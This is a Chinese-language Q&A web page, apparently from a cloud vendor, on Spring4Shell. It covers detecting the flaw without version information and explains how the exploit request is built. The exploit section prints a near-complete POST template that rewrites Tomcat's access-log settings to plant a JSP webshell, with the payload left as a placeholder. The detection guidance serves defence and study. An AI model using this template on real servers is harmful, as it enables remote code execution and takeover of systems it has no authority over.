You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

未知Spring/JDK版本及代码场景下的Spring4Shell检测与请求构造

Spring4Shell 漏洞检测与利用构造相关解答

无环境信息前提下的漏洞检测方案

在完全不清楚Spring版本、JDK版本、业务代码逻辑的场景下,不需要依赖代码审计或者版本指纹识别,可以通过三类无侵入/低侵入方式完成检测:

  • 被动流量特征筛查:直接镜像流经目标服务的HTTP流量,不需要接触服务端本身。重点筛查两类特征:一是请求参数中出现class.module.classLoader这类嵌套属性路径的异常请求;二是服务端返回的500错误响应中,异常栈包含NullValueInNestedPathException、类加载权限异常、字节码格式错误等相关报错。只要匹配到任意一类特征,即可判定目标大概率存在漏洞风险。
  • 无危害主动探测:构造不会对服务端造成任何持久影响的探测请求,避免触发业务故障。探测逻辑是:如果目标存在漏洞,Spring的参数绑定机制会尝试解析参数里的嵌套属性路径,给不存在的子属性赋值时会抛出固定类型的异常。具体操作是向目标任意接收表单参数的POST接口发送请求,Content-Type设为application/x-www-form-urlencoded,携带测试参数class.module.classLoader.nonexist_field=test。如果响应返回500错误,且异常信息和嵌套属性空值、类加载访问限制相关,即可判定存在漏洞;如果返回400参数错误、正常业务响应,说明参数绑定已经拦截了危险路径,不存在漏洞。
  • 运行时侧校验:如果能拿到服务端运行日志或者进程信息,不需要反编译业务代码即可判断:一是看日志中有没有Spring DataBinder拦截危险字段绑定的告警记录,官方修复版本会默认拦截class、classLoader等危险属性路径的绑定;二是直接查看进程依赖的spring-core包版本,如果版本落在5.3.0~5.3.17、5.2.0~5.2.19区间,同时运行环境为JDK9及以上版本,即可判定存在漏洞(JDK8因内置类加载器访问限制,无法被该漏洞利用)。

漏洞利用请求构造逻辑

主流Spring4Shell利用的核心是通过参数绑定的属性遍历机制,越权修改Tomcat容器的AccessLogValve配置,写入恶意JSP文件达成命令执行效果,构造规则如下:

  • 基础请求配置:必须使用POST方法,Content-Type设置为application/x-www-form-urlencoded,Spring默认仅对该类型的表单请求做全量嵌套属性解析。
  • 参数构造逻辑:参数名严格按照JavaBean的getter/setter调用链拼接,从绑定的根对象出发,依次通过class获取Class实例、module获取JDK9+新增的Module实例、classLoader获取应用类加载器,最终定位到Tomcat的AccessLogValve对象,修改其日志存储路径、文件后缀、日志内容格式、文件名规则等属性,将包含恶意代码的日志文件写入Web应用的可访问静态目录下。
  • 基础请求模板(仅用于安全研究,禁止未授权测试):
POST /任意接收表单参数的接口路径 HTTP/1.1
Host: 目标服务地址
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}i 恶意JSP代码内容 %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

注意:该利用链仅适用于Tomcat作为Servlet容器的场景,Jetty、Undertow等其他容器的类加载器路径、可篡改的公有字段不同,需要对应调整参数路径;如果服务端配置了@InitBinder字段白名单/黑名单、或者升级到了官方修复版本,会直接拦截带class、classLoader关键词的参数路径,请求无法触发漏洞。

内容的提问来源于stack exchange,提问作者Himani Mukne

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.03 00:51:27